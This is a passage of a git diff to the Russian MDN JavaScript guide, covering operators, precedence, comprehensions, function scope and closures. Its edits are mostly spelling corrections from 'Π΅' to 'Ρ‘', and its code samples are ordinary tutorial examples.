-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ создаСт Π³ΠΈΠΏΠ΅Ρ€Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ссылку, которая ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ Π½Π° Π½Π΅ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ:</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ создаёт Π³ΠΈΠΏΠ΅Ρ€Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ ссылку, которая ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€ΠΆΠ΄Π°Π΅Ρ‚ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΏΡ€ΠΈ ΠΊΠ»ΠΈΠΊΠ΅ Π½Π° Π½Π΅ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ:</p>
<pre class="brush: html">&lt;A HREF="javascript:void(document.form.submit())"&gt;
НаТмитС здСсь, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄Ρ‚Π²Π΅Ρ€Π΄ΠΈΡ‚ΡŒ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΡƒ Ρ„ΠΎΡ€ΠΌΡ‹&lt;/A&gt;</pre>
@@ -728,7 +728,7 @@ if (theDay instanceof Date) {
<p><em>ΠŸΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚</em>Β ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² опрСдСляСт порядок их выполнСния ΠΏΡ€ΠΈ вычислСнии выраТСния. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Π»ΠΈΡΡ‚ΡŒ Π½Π° ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ скобок.</p>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Π°Ρ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π° описываСт ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² ΠΎΡ‚ Π½Π°ΠΈΠ²Ρ‹ΡΡˆΠ΅Π³ΠΎ Π΄ΠΎ низшСго.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Π°Ρ Π½ΠΈΠΆΠ΅ Ρ‚Π°Π±Π»ΠΈΡ†Π° описываСт ΠΏΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² ΠΎΡ‚ Π½Π°ΠΈΠ²Ρ‹ΡΡˆΠ΅Π³ΠΎ Π΄ΠΎ низшСго.</p>
<table class="standard-table">
<caption>Π’Π°Π±Π»ΠΈΡ†Π° 3.7 ΠŸΡ€ΠΈΠΎΡ€ΠΈΡ‚Π΅Ρ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²</caption>
@@ -875,18 +875,18 @@ a + (b * c) // 7
// Ρ‡Ρ‚ΠΎ эквивалСнтно ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌΡƒ
a * c + b * c // 9</pre>
-<h4 id="Π£ΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ_синтаксис_создания_массивов_ΠΈ_Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²">Π£ΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ синтаксис создания массивов ΠΈ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²</h4>
+<h4 id="Π£ΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ_синтаксис_создания_массивов_ΠΈ_Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²">Π£ΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ синтаксис создания массивов ΠΈ Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ²</h4>
-<p>Π£ΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ синтаксис - ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ JavaScript, которая Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Π² Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠ΅ вСрсии ECMAScript. Π•ΡΡ‚ΡŒ 2 вСрсии синтаксиса:</p>
+<p>Π£ΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ синтаксис - ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½Π°Ρ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΒ JavaScript, которая Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Π² Π±ΡƒΠ΄ΡƒΡ‰ΠΈΠ΅ вСрсии ECMAScript. Π•ΡΡ‚ΡŒ 2 вСрсии синтаксиса:</p>
<dl>
<dt>{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt>
- <dd>Π£ΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ синтаксис для массивов.</dd>
+ <dd>Π£ΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ синтаксис для массивов.</dd>
<dt>{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt>
- <dd>Π£ΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΉ синтаксис для Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ².</dd>
+ <dd>Π£ΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΉ синтаксис для Π³Π΅Π½Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ².</dd>
</dl>
-<p>Π£ΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹Π΅ синтаксисы ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… языках программирования ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ быстро ΡΠΎΠ±ΠΈΡ€Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ массив, основанный Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ. НапримСр:</p>
+<p>Π£ΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹Π΅ синтаксисы ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… языках программирования ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²Π°ΠΌ быстро ΡΠΎΠ±ΠΈΡ€Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ массив, основанный Π½Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅ΠΌ. НапримСр:</p>
<pre class="brush: js">[for (i of [ 1, 2, 3 ]) i*i ];
// [ 1, 4, 9 ]
diff --git a/files/ru/web/javascript/guide/functions/index.html b/files/ru/web/javascript/guide/functions/index.html
index 2e62690a66..ef48cf9b64 100644
--- a/files/ru/web/javascript/guide/functions/index.html
+++ b/files/ru/web/javascript/guide/functions/index.html
@@ -43,7 +43,7 @@ translation_of: Web/JavaScript/Guide/Functions
<ul>
<li>Имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</li>
- <li>Бписок ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² (ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅ΠΌΡ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ) Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Ρ… Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки <code>()</code> ΠΈ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… запятыми.</li>
+ <li>Бписок ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² (ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅ΠΌΡ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ) Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹Ρ… Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Π΅ скобки <code>()</code> ΠΈ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… запятыми.</li>
<li>Π˜Π½ΡΡ‚Ρ€ΡƒΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ послС Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π·Π°ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π² Ρ„ΠΈΠ³ΡƒΡ€Π½Ρ‹Π΅ скобки <code>{ }</code>.</li>
</ul>
@@ -92,7 +92,7 @@ var x = square(4); // x ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 16
console.log(factorial(3));
</pre>
-<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ Π²ΠΈΠ΄Π° "functionΒ definitionΒ expression" ΡƒΠ΄ΠΎΠ±Π½Ρ‹, ΠΊΠΎΠ³Π΄Π° функция пСрСдаСтся Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>map</code>, которая Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ массив Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ.</p>
+<p>Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ Π²ΠΈΠ΄Π° "functionΒ definitionΒ expression" ΡƒΠ΄ΠΎΠ±Π½Ρ‹, ΠΊΠΎΠ³Π΄Π° функция пСрСдаётся Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>map</code>, которая Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ ΠΈ массив Π²Ρ‚ΠΎΡ€Ρ‹ΠΌ.</p>
<pre class="brush: js">function map(f, a) {
var result = [], // Create a new Array
@@ -184,7 +184,7 @@ d = factorial(4); // d gets the value 24
e = factorial(5); // e gets the value 120
</pre>
-<p>Π•ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ способы Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ частыС случаи, ΠΊΠΎΠ³Π΄Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ динамичСски, ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒΒ Π½ΠΎΠΌΠ΅Ρ€Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈΠ»ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с привязкой ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌΡƒ контСксту. ΠžΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ сами ΠΏΠΎ сСбС ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, ΠΈ эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ (посмотритС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but suffers fromΒ security and similar (but far less significant) performance issues similar to eval. However, unlike eval, the Function constructor allows executing code in the global scope, prompting better programming habits and allowing for more efficient code minification."><code>Function</code></a>). Один ΠΈΠ· Π½ΠΈΡ… это ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object).">apply()</a></code>, использованиС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ этой Ρ†Π΅Π»ΠΈ.</p>
+<p>Π•ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ способы Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ частыС случаи, ΠΊΠΎΠ³Π΄Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ динамичСски, ΠΈΠ»ΠΈ ΠΏΠΎΠΌΠ΅Π½ΡΡ‚ΡŒΒ Π½ΠΎΠΌΠ΅Ρ€Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΈΠ»ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ с привязкой ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌΡƒ контСксту. ΠžΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ сами ΠΏΠΎ сСбС ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ, ΠΈ эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ (посмотритС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function" title="The Function constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but suffers fromΒ security and similar (but far less significant) performance issues similar to eval. However, unlike eval, the Function constructor allows executing code in the global scope, prompting better programming habits and allowing for more efficient code minification."><code>Function</code></a>). Один ΠΈΠ· Π½ΠΈΡ… это ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code><a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object).">apply()</a></code>, использованиС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π΄ΠΎΡΡ‚ΠΈΠ³Π½ΡƒΡ‚ΡŒ этой Ρ†Π΅Π»ΠΈ.</p>
<h2 id="ΠžΠ±Π»Π°ΡΡ‚ΡŒ_видимости_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ"><a id="definition" name="definition"></a>ΠžΠ±Π»Π°ΡΡ‚ΡŒ видимости Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</h2>
@@ -202,7 +202,7 @@ function multiply() {
return num1 * num2;
}
-multiply(); // Π²Π΅Ρ€Π½Π΅Ρ‚ 60
+multiply(); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ 60
// ΠŸΡ€ΠΈΠΌΠ΅Ρ€ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ
function getScore() {
@@ -216,7 +216,7 @@ function getScore() {
return add();
}
-getScore(); // Π²Π΅Ρ€Π½Π΅Ρ‚ "Chamahk scored 5"
+getScore(); // Π²Π΅Ρ€Π½Ρ‘Ρ‚ "Chamahk scored 5"
</pre>
<h2 id="Scope_ΠΈ_стСк_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ"><a id="definition" name="definition"></a>Scope ΠΈ стСк Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ</h2>
@@ -309,7 +309,7 @@ foo(3);
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ влоТСнная функция это closure, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ влоТСнная функция ΠΌΠΎΠΆΠ΅Ρ‚ "ΡƒΠ½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ" (<em>inherit</em>) Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹Β ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Ρ‚Π° Π²Π»ΠΎΠΆΠ΅Π½Π°. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, влоТСнная функция содСрТит scope внСшнСй (<em>"outer"</em>) Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</p>
-<p>ПодвСдСм ΠΈΡ‚ΠΎΠ³:</p>
+<p>ΠŸΠΎΠ΄Π²Π΅Π΄Ρ‘ΠΌ ΠΈΡ‚ΠΎΠ³:</p>
<ul>
<li>ВлоТСнная функция ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊΠΎ всСм инструкциям внСшнСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.</li>
@@ -350,7 +350,7 @@ result1 = outside(3)(5); // Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ 8
<h3 id="Π‘ΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅_ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…">Π‘ΠΎΡ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…</h3>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>x</code>Β ΡΠΎΡ…Ρ€Π°Π½ΠΈΠ»ΠΎΡΡŒ, ΠΊΠΎΠ³Π΄Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΎΡΡŒΒ <code>inside</code>. Closure Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π²ΠΎ всСм scope. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ² прСдоставляСт ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, создаСтся новый closure для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° Π²ΠΎ Π²Π½Π΅. ΠŸΠ°ΠΌΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡ΠΈΡ‰Π΅Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π°Β <code>inside</code>Β ΡƒΠΆΠ΅ возвратился ΠΈ большС Π½Π΅ доступСн.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>x</code>Β ΡΠΎΡ…Ρ€Π°Π½ΠΈΠ»ΠΎΡΡŒ, ΠΊΠΎΠ³Π΄Π° Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΎΡΡŒΒ <code>inside</code>. Closure Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅ Π²ΠΎ всСм scope. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π²Ρ‹Π·ΠΎΠ² прСдоставляСт ΠΏΠΎΡ‚Π΅Π½Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π½Ρ‹Π΅ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, создаётся новый closure для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²Ρ‹Π·ΠΎΠ²Π° Π²ΠΎ Π²Π½Π΅. ΠŸΠ°ΠΌΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡ΠΈΡ‰Π΅Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π°Β <code>inside</code>Β ΡƒΠΆΠ΅ возвратился ΠΈ большС Π½Π΅ доступСн.</p>
<p>Π­Ρ‚ΠΎ Π½Π΅ отличаСтся ΠΎΡ‚ хранСния ссылок Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Ρ…, Π½ΠΎ часто ΠΌΠ΅Π½Π΅Π΅ ΠΎΡ‡Π΅Π²ΠΈΠ΄Π½ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡŽΡ‚ΡΡ ссылки Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΈ нСльзя ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ Ρ‚Π°ΠΌ.</p>
@@ -379,9 +379,9 @@ A(1); // Π² консолС вывСдится 6 (1 + 2 + 3)</pre>
<li>Π Π°Π·Β closure Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>B</code>Β Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ <code>A</code>, Ρ‚ΠΎΒ closure <code>Π‘</code>Β Ρ‚ΠΎΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ A, <code>C</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ доступ ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌ ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌ ΠΎΠ±ΠΎΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ <code>B</code> <em>ΠΈ</em> <code>A</code>. Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, <code>Π‘</code> связываСт <em>Ρ†Π΅ΠΏΡŒΡŽ</em>Β (<em>chain</em>) scopes Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ <code>B</code>Β ΠΈ <code>A</code>Β Π² Ρ‚Π°ΠΊΠΎΠΌ порядкС.</li>
</ol>
